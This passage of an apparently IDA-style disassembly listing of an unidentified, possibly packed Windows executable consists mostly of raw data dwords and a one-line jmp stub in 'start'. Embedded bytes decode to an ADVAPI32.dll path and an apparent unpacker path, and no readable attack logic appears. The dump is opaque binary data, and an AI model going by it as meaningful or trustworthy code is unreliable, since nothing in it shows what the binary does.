		dd 819E90B8h, 0EC114B60h, 4CFFA04Eh, 4D047097h,	0A0CFB3FCh
		dd 1715FE74h, 0E00586h,	0BE8E387Eh, 3F89422Fh, 7D00BA6Ah
		dd 0EB7965E2h, 85804FFh, 0F0D08058h, 0CAFCE16h,	9E7C792h
		dd 580F7B19h, 9F35AD4Ah, 200DF64Fh, 6E77E614h, 0DDBE0073h
		dd 0FF20B837h, 0AA32AB06h, 2993C8BFh, 192AC80h,	1D25459Ch
		dd 0E9049990h, 14F378C8h, 7CA2A85Eh, 0F5753D00h, 0AD4150F9h
		dd 3A07B8ECh, 562816DAh, 83299CE6h, 7C3C80CEh, 6BA200B0h
		dd 4B018C2Ah, 0ED00C680h, 8EA4AE4Eh, 7FD60F6h, 832A8D45h
		dd 89F98126h, 0E1D4EDEAh, 4CBC4019h, 40A4F45Eh,	0C43E7929h
		dd 0D5F94200h, 5C884A41h, 1C80AC87h, 0B926C740h, 93246B00h
		dd 0DA4C663Fh, 12A00D2h, 0D1A34EB4h, 0FA10F6EDh, 570280FBh
		dd 879E3550h, 65280872h, 21023C82h, 704D540h, 87A1000Ah
		dd 1112B189h, 9007B0A4h, 9049615Bh, 0B76C84h, 6ADED980h
		dd 1E83BE3h, 0C0B239CFh, 5AC2E153h, 2F863834h, 8719A84Ch
		dd 70F4F0D5h, 0E022F948h, 3F8C0061h, 401458BDh,	0C87315A5h
		dd 791C5BEEh, 0A8404189h
		dd 0BD317F12h, 0DF82007Ch, 88C3E235h, 0D0C896A7h, 90869654h
		dd 0A4B79A18h, 0B883FC00h, 0F6BBB91Ah, 456200C0h, 2C18A0Ah
		dd 0EC0025DFh, 942F9158h, 14DB095h, 0D09D5BEDh,	0C3E79390h
		dd 0BD19D100h, 1811088Fh, 8A7C054Ah, 0C57B1BE9h, 0D004D0C8h
		dd 87048F81h, 88F24FB2h, 17FB8B4h, 0BC187441h, 0F962BF01h
		dd 0A581433Dh, 70B009CDh, 30214C05h, 2CDA15F8h,	0AB686D05h
		dd 0D030A95Eh, 963E7F53h, 1FCA8068h, 261D1E64h,	783D3626h
		dd 0CC3A3B40h, 5E0D1CA1h, 0A6A84343h, 2BE8BAB8h, 951E037Ah
		dd 8ED940D8h, 341006C0h, 21301F05h, 0E4748A90h,	0ED380BC6h
		dd 5AF86942h, 0EC61509Eh, 4C156F6h, 945D64C4h, 0E3F24088h
		dd 0A70B0C50h, 0F308668h, 1B8E4BA3h, 24CEC124h,	0BC9320h
		dd 0EAEE995Ah, 0B726590Dh, 2BE3271Fh, 0C0A342CFh, 1D04C523h
		dd 16C4A91Ch, 0BC001822h, 7DD97289h, 0CB1E1278h, 2C0082A5h
		dd 216D33FDh, 0EAED7D97h, 0F647002Fh, 0D0554167h, 25003517h
		dd 68F0990Dh, 1ED9DAF7h, 0E43D9EDBh, 6C44397Ch,	443F3807h
		dd 23C41683h, 0D31590F4h, 0AC8C1C40h, 0ADE760F0h, 137A22C1h
		dd 27486C00h, 0A5EC5C1Bh, 8FAF0267h, 29D12EA7h,	1E88B060h
		dd 0DDFE94A8h, 21678200h, 49BFCC41h, 228A2896h,	3E943A8h
		dd 0F5DF44A3h, 35C880ACh, 0F637D0Ch, 0EE1FAD07h, 0CC849589h
		dd 0B365404Ah, 0B4F11150h, 314F8094h, 80D77E93h, 60910090h
		dd 1C2CC8Bh, 9A90BC0Fh,	3B0FE8E8h, 0E8611E26h, 2D369E10h
		dd 0CE904CCh, 2C25E08h,	0D34E05Dh, 11499E6h, 0DBC20FC9h
		dd 0A2E28470h, 0C580F17Dh, 0BAAD298Eh, 21B41D30h, 9EF343F8h
		dd 592869BBh, 70F95487h, 0DBB81B8Eh, 0C5832C80h, 77F79000h
		dd 721F5F07h, 4FA7EB7h,	0D0069D8Eh, 0FFD880DAh,	10B6950Dh
		dd 0C9A93200h, 5304F258h, 2F0CE812h, 2DB8608Ch,	2300C89Eh
		dd 4E98E8A2h, 0DB8F2C73h, 877B0BEFh, 1C95A810h,	0CF6F9700h
		dd 26192E9Ch, 0E4A37953h, 0B477765Ah, 0D398408Ch, 100205Fh
		dd 1F4780B6h, 45A4856h,	490642Fh, 31A8CC1Ah, 52CE8809h
		dd 41C887C6h, 0B880F0E0h, 6C590517h, 3EC77Eh, 0D6AB372Ch
		dd 6A144622h, 60D0E3F8h, 85217D49h, 0A0CD0071h,	351EA89Ch
		dd 8E499E27h, 0E04C9CD0h, 60A5B0EAh, 0AA4A70F4h, 0BD16594Ch
		dd 48039670h, 9897A830h, 6023E1h, 7622EFA4h, 0C31838C9h
		dd 0AC500912h, 802C3010h, 0DD9F2F0h, 5ED402D1h,	9A6155B3h
		dd 14149441h, 5C00E0E2h, 83F14708h, 32002749h, 0B8739C6Ch
		dd 2C0B6716h, 40CA131h,	0A20D89FBh, 0F10079E0h,	11A8B562h
		dd 286AD387h, 1EE7EACFh, 0ED19C325h, 0EFE64800h, 14B69C71h
		dd 393744CFh, 4B0044A2h, 19013C96h, 0F6901D58h,	0AB68EC50h
		dd 9B62E50Dh, 25CAC07Fh, 0FF48B064h, 0F49D5E24h, 658C9C41h
		dd 20873992h, 53843FE4h, 7EB7B02h, 718F47B7h, 0ED8301FCh
		dd 31536A33h, 4B6D8AAh,	0CB0119ECh, 1F1E02D6h, 0B421CE90h
		dd 0C69F6001h, 0C8BADECCh, 3C800690h, 877FAE1Dh, 75E2001Ch
		dd 80E0C331h, 0AC01396Dh, 4178D63h, 1866E46Ch, 78272458h
		dd 0FA098C90h, 0A6040A00h, 2C40F16Dh, 19731C8Bh, 7AF48E1Eh
		dd 1880D3ABh, 0A252AA06h, 8A432009h, 25E007D4h,	0EFF308F0h
		dd 17221672h, 0F80C88E2h, 4B934E04h, 108115C3h,	7CF72BFFh
		dd 403CB690h, 47EB710Bh, 863A1E00h, 0D7A5092h, 759100D2h
		dd 77B7E36Dh, 0F6001A81h, 0BE25025Dh, 370B33E4h, 0D5596188h
		dd 5438E0A7h, 69C43502h, 723EF8A3h, 657500E4h, 2047091Ah
		dd 0C13CEB9h, 0A809DC6Dh, 0EF5C85EBh, 340D980Fh, 96680780h
		dd 1C778E22h, 2680B4AAh, 0F4FEAF8h, 80AD17BCh, 719420E0h
		dd 21009E7Bh, 94317E96h, 1F394E0Bh, 12344C62h, 382820B8h
		dd 851F18C6h, 8A0B9450h, 9FB4994Dh, 0EBCD5F10h,	99E1E70Fh
		dd 14830035h, 16080D98h, 8DF45E4Ah, 0E99AEC50h,	8FD23A05h
		dd 9CC1F850h, 0E87C1152h, 27B22B8Eh, 90917414h,	7597A48Ch
		dd 90D3F09h, 0B3640108h, 0F040D7ADh, 0A39D48h, 15B87594h
		dd 0E2C678EFh, 170EB606h, 5901E5h, 0B08057A2h, 8109374Fh
		dd 30858B33h, 985DA803h, 256D1FAEh, 0E1174ACCh,	0C18D4780h
		dd 2A8EB4D0h, 0DB612420h, 0A0B0045h, 33E1E228h,	48014C30h
		dd 0EE2A7169h, 4ECC67D1h, 305FE89Ah, 9939A0F4h,	0C0B01F28h
		dd 97C050BCh, 0C276EE1Eh, 949C0CA9h, 1C364081h,	4CE72151h
		dd 4F78C77Ch, 8ED5EE05h, 6080A813h, 0FE58038h, 57A33183h
		dd 0B058011Fh, 2A01D5C1h, 0B7BD428h, 41B64FEDh,	599B8F86h
		dd 0DF704000h, 9D50AFEEh, 769E0139h, 781F89F7h,	53C443D6h
		dd 3075AAE0h, 203FA927h, 9F5E0AB4h, 0C205804h, 0F4CD1584h
		dd 0E74CBB20h, 0D3338020h, 1990155h, 2D8D8FA4h,	0E4E13506h
		dd 69099F6Dh, 98C350CDh, 3FBBB238h, 5D80151Bh, 694CF38Eh
		dd 0A7005EE5h, 0DEA69FC1h, 0C7F1DBCh, 903D198Ah, 0DB00A5C9h
		dd 260131E3h, 8036A4h, 41F95C4Dh, 32206E91h, 0B07BEC2Ah
		dd 6A305100h, 7AB3F899h, 2C2D24D6h, 4F003DF9h, 27595769h
		dd 38002F95h, 0ACBDBEE6h, 52170DB8h, 2B05A8E8h,	0A4877866h
		dd 8E006A30h, 0B65EFB6Ch, 1F6D6185h, 0C968B59Dh, 0DC00D0F1h
		dd 0C180B8EEh, 0A8271502h, 0FAE09972h, 392A00BCh, 24920244h
		dd 8E09266Ah, 0C80BE672h, 0E23F36DCh, 8DF13CFCh, 0FD53A000h
		dd 0D4AD2E6Dh, 37789201h, 5E99EE3Ah, 88102321h,	0DD17D0h
		dd 366D7A14h, 5FE3660Bh, 0A94771C0h, 98208Ah, 492E5056h
		dd 38A5426Fh, 0A73C9117h, 1702088h, 0C7FB271Bh,	7012C029h
		dd 560073C4h, 41B3039Ch, 8A78BAh, 0B88DA879h, 80496F19h
		dd 0E9F69900h, 72C769FEh, 7BCA4E0h, 85C3A82Dh, 915FE01Dh
		dd 5E00C0D4h, 5D5CA781h, 3D213655h, 0A049B089h,	523D8Fh
		dd 0CA5CE744h, 0DC991EA4h, 0DD96B380h, 18629F98h, 19AA5EDCh
		dd 0F0F78174h, 2C991E04h, 9516803Ch, 0C843E920h, 0A0DAB847h
		dd 5B92EB64h, 2D002096h, 9D00B129h, 7557BC8Fh, 10C2BE3h
		dd 270F25D6h, 1063EF9Fh, 284DC478h, 3DB09140h, 121E7B06h
		dd 0C2B526Fh, 0A6B91E50h, 70B84578h, 0BB9D6808h, 0EBA8474Ah
		dd 0F144800h, 0AA1ED933h, 1100CCA0h, 5D18B872h,	61D8008Dh
		dd 3CB447F5h, 6D0A7197h, 0BCB57638h, 80770E09h,	39F7F63Ch
		dd 0C09CBC21h, 9E59A39Ah, 1844B58h, 1F3B7A51h, 247CF9E5h
		dd 0D600F443h, 9B0524F6h, 0BF0F8FA2h, 0A216907Ch, 6040A631h
		dd 256EF0D8h, 0E490815Fh, 3E22B4FFh, 2B14008Fh,	4F756A4Ah
		dd 173C4D05h, 638E00B9h, 956A4B5h, 810974Eh, 0EF1D8955h
		dd 9B40925Ch, 67C6E054h, 9D7913DDh, 0BBD8C88Ch,	0EC4B2002h
		dd 51DB3BD1h, 91E2076Ch, 8B25C057h, 0CA013258h,	30DB0940h
		dd 7422E077h, 47FBB900h, 0BCBF73D1h, 0BB3E8600h, 0FA7BB4B2h
		dd 8F190112h, 0EDD2E99Fh, 205ED55Bh, 45129E04h,	30D03E29h
		dd 1FCE1877h, 0C0BD42BBh, 59EEA07Bh, 0CB54295Ch, 950FF648h
		dd 0F7AFCD0h, 0A794C2A3h, 0B0E641h, 0A5FE96C4h,	7E0FCF21h
		dd 0D079EB3Dh, 0C2FA6DD0h, 6C569F00h, 0BC083BF1h, 5FE8EFh
		dd 770D7580h, 0E894D92Bh, 33802C94h, 9E81C17Ch,	69C097BEh
		dd 0C700A4D3h, 0DE11285Fh, 603EB6CCh, 7982C19Dh, 0CD4C0D19h
		dd 0C87500F3h, 3E654B0Fh, 9C1195B5h, 3A0E704Ah,	86DA941Fh
		dd 1EBA3B02h, 42D0C6E9h, 0ACDC241Ch, 12A2141Ch,	0A4835EDDh
		dd 0A09EE6D8h, 94DABE80h
		dd 734257Ah, 0DB11D84Ch, 0CABDE0AEh, 0EC4C366Ah, 3ADC8080h
		dd 5E9990Ch, 6516C641h,	17CA2A9h, 78102B3Dh, 0FC22E81Eh
		dd 5C46412h, 0C074CD84h, 0CBEF3B84h, 0C04E8F24h, 0CFEC0200h
		dd 29BB8183h, 7F01CC80h, 0B0FDFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53C0A4:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53F46D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0B00000h, 0D4C96A00h, 57533777h, 2 dup(0)
		dd 9E000000h, 6	dup(0)
		dd 0FF90C000h, 0C4CBFFh, 4 dup(0)
		dd 59FF7300h, 2	dup(0)
		dd 40000000h, 2	dup(0)
		dd 9F69DD00h, 0
		dd 9F949900h, 5	dup(0)
		dd 32969C00h, 0B9h, 0
		dd 49010800h, 2	dup(0)
		dd 5E995300h, 3Fh, 2 dup(0)
		dd 7A0BD800h, 104h, 0Dh	dup(0)
		dd 0FFE0B000h, 0FFh, 0A38D5300h, 3 dup(0)
		dd 8C00h, 0
		dd 57313E00h, 0
		dd 57533700h, 6A6000h, 21669600h, 0C9h,	9 dup(0)
		dd 40878700h, 0Fh, 0Eh dup(0)
		dd 200h, 0Ah dup(0)
		dd 0FE030400h, 6E6C7Fh,	5 dup(0)
		dd 587F1D00h, 0FAh, 0FE030400h,	7Fh, 2 dup(0)
		dd 9F69DD00h, 7	dup(0)
		dd 0F7750500h, 0A0h, 0A7889E00h, 62h, 0
		dd 12FEF000h, 2	dup(0)
		dd 58B27A00h, 2F8D8D00h, 48h, 2	dup(0)
		dd 9F69DD00h, 9	dup(0)
		dd 9F9C3700h, 2	dup(0)
		dd 5AA63E00h, 0
		dd 593A4E00h, 6	dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 0F54A5000h, 3600077h, 0
		dd 5811C300h, 5A139D00h, 50F00h, 200h, 4 dup(0)
		dd 9F69DD00h, 4	dup(0)
		dd 9EB16800h, 5	dup(0)
		dd 57685400h, 6	dup(0)
		dd 0D4000000h, 77h, 0Eh	dup(0)
		dd 7CF4E900h, 36h, 7DE8F500h, 98h, 0Dh dup(0)
		dd 3ADF6700h, 0E4h, 6 dup(0)
		dd 0A6F90000h, 0FFh, 2 dup(0)
		dd 100h, 0
		dd 0F7EBB300h, 0FF8E6877h, 1C1EAFFh, 6 dup(0)
		dd 604C00h, 48000400h, 10h, 0E793EF00h,	77h, 371700h, 2	dup(0)
		dd 0F43FD400h, 7Eh, 0
		dd 6BC900h, 0B2693900h,	0FE030400h, 7Fh, 6BC900h, 18077500h
		dd 0Fh,	1Ah dup(0)
		dd 0FF9BD400h, 576854FFh, 3 dup(0)
		dd 0E8000h, 0Ch	dup(0)
		dd 100h, 0Ah dup(0)
		dd 0E7AC5E00h, 77h, 3 dup(0)
		dd 5701C700h, 585F9100h, 0A023E800h, 3 dup(0)
		dd 200h, 2 dup(0)
		dd 9FFDFF00h, 0FBh, 6 dup(0)
		dd 53002300h, 5	dup(0)
		dd 21212100h, 21h, 0
		dd 0E94ED000h, 9F314580h, 57313E00h, 0A1B13400h, 3 dup(0)
		dd 9FBA2100h, 52h, 5 dup(0)
		dd 2CBD00h, 0
		dd 0FFFFFF00h, 0A19BACFFh, 0
		dd 68E100h, 0
		dd 35B00h, 0
		dd 0FDCCA300h, 0EFh, 4 dup(0)
		dd 57274900h, 0EC00h, 400h, 0
		dd 1FFF00h, 3 dup(0)
		dd 0FE033C00h, 7Fh, 0
		dd 8816AD00h, 20h, 0
		dd 0A1731600h, 2 dup(0)
		dd 6781E800h, 1, 6 dup(0)
		dd 1900h, 57533700h, 5 dup(0)
		dd 57876200h, 3	dup(0)
		dd 40000000h, 4	dup(0)
		dd 9FA00F00h, 0
		dd 0F18DEF00h, 0F4h, 2214000h, 0
		dd 24242400h, 9F939324h, 0
		dd 57685400h, 0C335D800h, 18h, 0FE288600h, 0E87Fh, 0
		dd 0FE000400h, 7Fh, 4 dup(0)
		dd 0B6000000h, 58019900h, 4 dup(0)
		dd 56707D00h, 78h, 58F86B00h, 0Eh dup(0)
		dd 57E59900h, 2	dup(0)
		dd 59B12000h, 8B7B9100h, 60h, 2	dup(0)
		dd 9F69DD00h, 57D8D200h, 7 dup(0)
		dd 57002300h, 4	dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 0F97F00h, 6 dup(0)
		dd 12FF5400h, 5	dup(0)
		dd 6D71D300h, 74AF3434h, 34h, 0
		dd 5A5DD900h, 0Ch dup(0)
		dd 0A17FD800h, 0FF8B1400h, 0FFh, 8 dup(0)
		dd 26831700h, 5Fh, 0
		dd 300h, 3 dup(0)
		dd 5939F100h, 0
		dd 0E73D4500h, 0A1796E77h, 583FA600h, 3	dup(0)
		dd 0A6E41900h, 53F9B1FFh, 57002300h, 0AE6400h, 0Ah dup(0)
		dd 34567800h, 12h, 0
		dd 0F525A000h, 0F9h, 7 dup(0)
		dd 9F710F00h, 0
		dd 661CB100h, 5, 0
		dd 49010800h, 12FFE000h, 0
		dd 53C6B500h, 4	dup(0)
		dd 5EFFC500h, 3044Dh, 4	dup(0)
		dd 7F51CE00h, 76h, 0
		dd 0B05700h, 6 dup(0)
		dd 591BB200h, 49010800h, 3 dup(0)
		dd 56BFDE00h, 0DBh, 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h
		dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Dh	dup(0)
		dd 56FF5400h, 3	dup(0)
		dd 9F3E3B00h, 2	dup(0)
		dd 6DD97400h, 0A0h, 4 dup(0)
		dd 0DBFEA500h, 0ABh, 2 dup(0)
		dd 628C00h, 974F6900h, 0E600006Dh, 77h,	4 dup(0)
		dd 100h, 6 dup(0)
		dd 36363600h, 598CB536h, 2 dup(0)
		dd 9EADFE00h, 2, 0
		dd 587EF700h, 3	dup(0)
		dd 400h, 2 dup(0)
		dd 0FFFFFF00h, 9F8C0AFFh, 0FE030400h, 7Fh, 4 dup(0)
		dd 0E7796300h, 511A6077h, 3 dup(0)
		dd 0D6B50D00h, 57C17F92h, 0
		dd 0FE030400h, 7Fh, 57F0ED00h, 100h, 7 dup(0)
		dd 0AFA1FE00h, 0Bh dup(0)
		dd 57876200h, 8	dup(0)
		dd 0A6FC2700h, 0FFh, 0
		dd 100h, 0
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 1BD00000h, 0
		dd 0DFFFB000h, 1, 2 dup(0)
		dd 780600h, 0Bh	dup(0)
		dd 4B12EF00h, 39h, 0
		dd 0FE030400h, 0FB5E27Fh, 8Ah, 9FA00F00h, 3 dup(0)
		dd 5A86E600h, 68E100h, 2 dup(0)
		dd 100h, 0
		dd 0FE030400h, 7Fh, 0Bh	dup(0)
		dd 40000000h, 5	dup(0)
		dd 5A643E00h, 4	dup(0)
		dd 0FB5E200h, 8Ah, 13h dup(0)
		dd 0A800h, 0
		dd 57274900h, 0
		dd 0FD8D8900h, 74h, 4 dup(0)
		dd 0CDB6E600h, 0Dh, 0
		dd 59813100h, 0
		dd 0E7A09900h, 77h, 7 dup(0)
		dd 56BFDE00h, 0DBh, 9 dup(0)
		dd 100h, 5A8DE300h, 3 dup(0)
		dd 0E7A83700h, 77h, 6 dup(0)
		dd 0FFFFFE00h, 0F575F5FFh, 8Ah,	2 dup(0)
		dd 0FF971F00h, 39FFh, 0
		dd 0FE030400h, 7Fh, 0
		dd 0E8360C00h, 77h, 0
		dd 67CA7600h, 1Dh, 4 dup(0)
		dd 48C0A400h, 0FAh, 6 dup(0)
		dd 0FB5E200h, 948Ah, 2 dup(0)
		dd 0ADB1CA00h, 0AFFF8400h, 5 dup(0)
		dd 57021700h, 4	dup(0)
		dd 9F09F700h, 5	dup(0)
		dd 30400h, 0
		dd 49388500h, 6FEh, 57B71900h, 0F5EE6700h, 0
		dd 74D04300h, 0DD00000h, 57685400h, 0
		dd 71C67A00h, 0E1h, 0Fh	dup(0)
		dd 83826A00h, 0D9h, 0
		dd 0BE8D8D00h, 70h, 0
		dd 40000000h, 486CB800h, 2, 5 dup(0)
		dd 0A400h, 2 dup(0)
		dd 800000h, 2 dup(0)
		dd 20005000h, 576854FEh, 4 dup(0)
		dd 0FFFF00h, 2 dup(0)
		dd 0D8173300h, 26h, 0
		dd 57686600h, 3	dup(0)
		dd 12FFC400h, 0Ch dup(0)
		dd 577E7100h, 0
		dd 5A2A9E00h, 2Bh dup(0)
		dd 12FF5400h, 11h dup(0)
		dd 4934EB00h, 46h, 584F1D00h, 28h dup(0)
		dd 12A700h, 0
		dd 24015B00h, 5A299054h, 9 dup(0)
		dd 100h, 0D5426700h, 0E3h, 0Ch dup(0)
		dd 9190DE00h, 9ED55476h, 0
		dd 0FE030400h, 7Fh, 0
		dd 9F69DD00h, 3	dup(0)
		dd 0B400h, 0AC00h, 6 dup(0)
		dd 56674100h, 6	dup(0)
		dd 12FEF000h, 0Bh dup(0)
		dd 593A8700h, 0F6267C00h, 0E0h,	5 dup(0)
		dd 0E83E6800h, 77h, 57685400h, 0
		dd 5990C900h, 4	dup(0)
		dd 9E000000h, 0C530DF00h, 0A9h,	4 dup(0)
		dd 9FFA5600h, 0
		dd 2DB8F400h, 0C1h, 0
		dd 200h, 939300h, 7 dup(0)
		dd 57955200h, 6	dup(0)
		dd 5A853C00h, 0
		dd 12FD0800h, 0E7A5FD00h, 77h, 3 dup(0)
		dd 57533700h, 0B8779900h, 3Bh, 6 dup(0)
		dd 0E7A14400h, 4D366877h, 55h, 86C00h, 26h dup(0)
		dd 2A4C7100h, 49010856h, 5 dup(0)
		dd 5AC9C300h, 3	dup(0)
		dd 57685400h, 3	dup(0)
		dd 5A407700h, 58000000h, 2, 3 dup(0)
		dd 9F69DD00h, 5	dup(0)
		dd 0FF918000h, 0FFh, 2 dup(0)
		dd 57002300h, 12h dup(0)
		dd 0E8279000h, 77h, 0B6BA6300h,	0FEh, 5	dup(0)
		dd 40000000h, 3	dup(0)
		dd 9F8C0A00h, 0
		dd 5938FA00h, 3	dup(0)
		dd 0FE030400h, 7Fh, 6 dup(0)
		dd 6BC900h, 0FE030400h,	7Fh, 50F00h, 3 dup(0)
		dd 93D89000h, 13h, 2 dup(0)
		dd 100h, 7 dup(0)
		dd 0FF917C00h, 0FFh, 6 dup(0)
		dd 0FFFFB000h, 1, 0
		dd 0E7C48600h, 7CF4E977h, 36h, 648C1500h, 7F219D13h, 0A9h
		dd 4 dup(0)
		dd 40000000h, 5	dup(0)
		dd 0A9FD6200h, 0FFh, 2 dup(0)
		dd 59F5C300h, 2	dup(0)
		dd 57F32600h, 2	dup(0)
		dd 65685400h, 6164696Dh, 20h dup(0)
		dd 5B2DD600h, 6	dup(0)
		dd 59070000h, 0
		dd 40000000h, 3	dup(0)
		dd 8A0CD500h, 13727302h, 97h, 0E78B8200h, 9E0FE677h, 2 dup(0)
		dd 57685400h, 0E78B8200h, 77h, 3 dup(0)
		dd 400h, 5 dup(0)
		dd 40000000h, 59000000h, 2, 0
		dd 5A13CD00h, 2A57BC00h, 6, 3 dup(0)
		dd 0C1B5600h, 0BF0B0h, 57DA9D00h, 7 dup(0)
		dd 0FE030400h, 7Fh, 57876200h, 81429400h, 0FEh,	6BC900h
		dd 2 dup(0)
		dd 8A950500h, 1Bh, 4 dup(0)
		dd 36F100h, 3 dup(0)
		dd 0DD5ECC00h, 77h, 3 dup(0)
		dd 0BF000000h, 7 dup(0)
		dd 2B8200h, 3 dup(0)
		dd 9E000000h, 2	dup(0)
		dd 2428B400h, 88h, 5 dup(0)
		dd 5B25C700h, 0E8216800h, 0ED00AC77h, 0FFh, 3A000h, 9BD400h
		dd 0
		dd 0B41B4000h, 76h, 0AE5FF400h,	0
		dd 0A897AC00h, 0FFh, 0E8216400h, 77h, 3	dup(0)
		dd 57A27900h, 0
		dd 0F8F07F00h, 24015B5Ch, 54h, 0FFFFFF00h, 411519FFh, 57AC804Bh
		dd 5 dup(0)
		dd 0DD000000h, 77h, 0
		dd 898B6F00h, 0FBh, 6BBA00h, 0E805D800h, 77h, 2	dup(0)
		dd 9F923400h, 0
		dd 0F7AC0500h, 0A0h, 9FA03700h,	5 dup(0)
		dd 56CBAC00h, 3	dup(0)
		dd 10A9E900h, 2	dup(0)
		dd 0FFFF00h, 2 dup(0)
		dd 0FE030400h, 787Fh, 5	dup(0)
		dd 53E94D00h, 9	dup(0)
		dd 0ED009C00h, 0FFh, 200h, 0
		dd 0DCCBDE00h, 4Ch, 0
		dd 4934EB00h, 46h, 0
		dd 9000h, 5 dup(0)
		dd 7400h, 5A2A4C00h, 0
		dd 0FFA08400h, 0FFh, 3 dup(0)
		dd 8E800h, 200h, 0
		dd 0CE5EE400h, 0E8h, 6 dup(0)
		dd 100h, 0
		dd 74AE3500h, 0FFE9DD34h, 0FFh,	8800h, 0FE030400h, 7Fh
		dd 4 dup(0)
		dd 545F0200h, 5	dup(0)
		dd 7000h, 9 dup(0)
		dd 11111100h, 0FF9D9011h, 0FFh,	5536EB00h, 53h,	9 dup(0)
		dd 57685400h, 33333300h, 2 dup(33333333h), 53E94D33h, 3	dup(0)
		dd 40000C00h, 2, 2 dup(0)
		dd 9F229200h, 0EF561700h, 0FFh,	53F33500h, 7C00h, 4 dup(0)
		dd 0D817BB00h, 40100026h, 8 dup(0)
		dd 780600h, 56FF6E00h, 0
		dd 0D50000h, 0B3h dup(0)
		dd 58105500h, 0
		dd 59DF7300h, 5	dup(0)
		dd 57274900h, 2	dup(0)
		dd 5AFFFF00h, 21h dup(0)
		dd 53E94D00h, 3	dup(0)
		dd 0A3999500h, 2 dup(0)
		dd 5A9F5300h, 2	dup(0)
		dd 5A070E00h, 0
		dd 5A349800h, 2	dup(0)
		dd 5B5B2500h, 0FE030483h, 0A07Fh, 3 dup(0)
		dd 57876200h, 0
		dd 53FE5300h, 0FFF71500h, 0FFh,	6 dup(0)
		dd 5A48A800h, 81821301h, 53E94D1Fh, 0Ah	dup(0)
		dd 7933CC00h, 98h, 0BDAA00h, 6 dup(0)
		dd 0BC26A00h, 6, 0
		dd 200h, 2B00h,	2 dup(0)
		dd 100000h, 8 dup(0)
		dd 9E003E00h, 0E001400h, 4 dup(0)
		dd 6BC900h, 0
		dd 59118800h, 80h, 8A000000h, 2, 2 dup(0)
		dd 57685400h, 7	dup(0)
		dd 0E88D8D00h, 0D1h, 30400h, 2 dup(0)
		dd 57A41400h, 2	dup(0)
		dd 5491B900h, 0DDh, 5 dup(0)
		dd 57313E00h, 2	dup(0)
		dd 9FA00F00h, 5	dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 0EFAB8D00h, 0AFh, 9F69DD00h,	0A8971F00h, 0FFh, 0
		dd 6BC900h, 0FE030400h,	7Fh, 0
		dd 55FFBA00h, 0E75CB5FFh, 77h, 6 dup(0)
		dd 9F5E2E00h, 58E94D00h, 0
		dd 12FFF000h, 57313E00h, 0
		dd 12FF5400h, 5	dup(0)
		dd 0FB3AD800h, 0F52E0FACh, 77h,	0
		dd 0FF7FFD00h, 4 dup(0)
		dd 0E8061800h, 77h, 0
		dd 57D41D00h, 0
		dd 9C00h, 50F00h, 2D343000h, 31h, 59C7E900h, 5701EF00h
		dd 6 dup(0)
		dd 9F70C400h, 4934EB00h, 5A6FC746h, 3 dup(0)
		dd 68519D00h, 0B3h, 3 dup(0)
		dd 57685400h, 2	dup(0)
		dd 400A0C00h, 7	dup(0)
		dd 0E82FE800h, 0FFFFFD77h, 0FFh, 3 dup(0)
		dd 0FFFAF100h, 0FFh, 4 dup(0)
		dd 9E000000h, 2, 2 dup(0)
		dd 0FE030400h, 14347Fh,	13h dup(0)
		dd 0FE030400h, 5797A87Fh, 0FF917C00h, 0FFh, 6 dup(0)
		dd 22222200h, 22222222h, 22h, 3	dup(0)
		dd 64690D00h, 3, 75B500h, 5 dup(0)
		dd 9800h, 0E9A91300h, 0F7h, 4001D800h, 0B800h, 0C00B0000h
		dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h
		dd 5C890000h, 44891024h, 0B85B1424h, 9FA037h, 448BE0FFh
		dd 0E0FF0424h, 15h dup(0)
		dd 59900D00h, 0
		dd 30400h, 6 dup(0)
		dd 9F915B00h, 0
		dd 0A7033C00h, 5A6FC7FFh, 0F59FB700h, 5A2F2057h, 4000C800h
		dd 0A0156800h, 2 dup(0)
		dd 57685400h, 0
		dd 0E7A13F00h, 77h, 585F9100h, 0
		dd 6D768F00h, 10A9E903h, 0Ah dup(0)
		dd 0A3CBA900h, 13h, 0Ch	dup(0)
		dd 0E7266E00h, 5C3A4377h, 6E755F6Dh, 6B636170h,	7265h
		dd 85h dup(0)
		dd 53C5DD00h, 3	dup(0)
		dd 3C60000h, 4 dup(0)
		dd 8400h, 2 dup(0)
		dd 0F26D5100h, 8Eh, 7 dup(0)
		dd 8EB00h, 7 dup(0)
		dd 5B000000h, 2, 0
		dd 57A1F000h, 53F00900h, 5907EC00h, 4 dup(0)
		dd 4934EB00h, 46h, 8 dup(0)
		dd 9F2BDE00h, 7	dup(0)
		dd 57533700h, 0
		dd 7D8EA500h, 9, 0
		dd 0F0385600h, 564324h,	5 dup(0)
		dd 0AD000000h, 5 dup(0)
		dd 1857C900h, 88h, 5A412700h, 0C530DF00h, 0A9h,	0Ah dup(0)
		dd 0A8AEB800h, 0FFh, 3 dup(0)
		dd offset loc_57E300
		dd 0
		dd 9F3E3B00h, 28010500h, 0Ah, 0
		dd 0E805D800h, 77h, 0
		dd 0A8119E00h, 0FFh, 0A0326800h, 0
		dd 0F5180B00h, 77h, 0
		dd 587EE400h, 0
		dd 1AD97200h, 3C802h, 8	dup(0)
		dd 1B46D100h, 33h, 4 dup(0)
		dd 1FCFC00h, 80h, 57002300h, 0A3A5E700h, 4 dup(0)
		dd 8E400h, 3 dup(0)
		dd 0F5000000h, 77h, 4 dup(0)
		dd 0A593F400h, 0F4h, 5 dup(0)
		dd 591D1F00h, 2	dup(0)
		dd 0D8047600h, 0BEh, 3 dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 5AA75B00h, 54E3D700h, 70h, 0
		dd 57DA0600h, 3	dup(0)
		dd 107500h, 2 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0CA71AC00h, 28h, 2 dup(0)
		dd 56CBAC00h, 3	dup(0)
		dd offset dword_576400
		dd 0
		dd 224A2D00h, 22FE884h,	3 dup(0)
		dd 57685400h, 0
		dd 0CC00h, 0
		dd 0FF8D9700h, 0FFh, 5 dup(0)
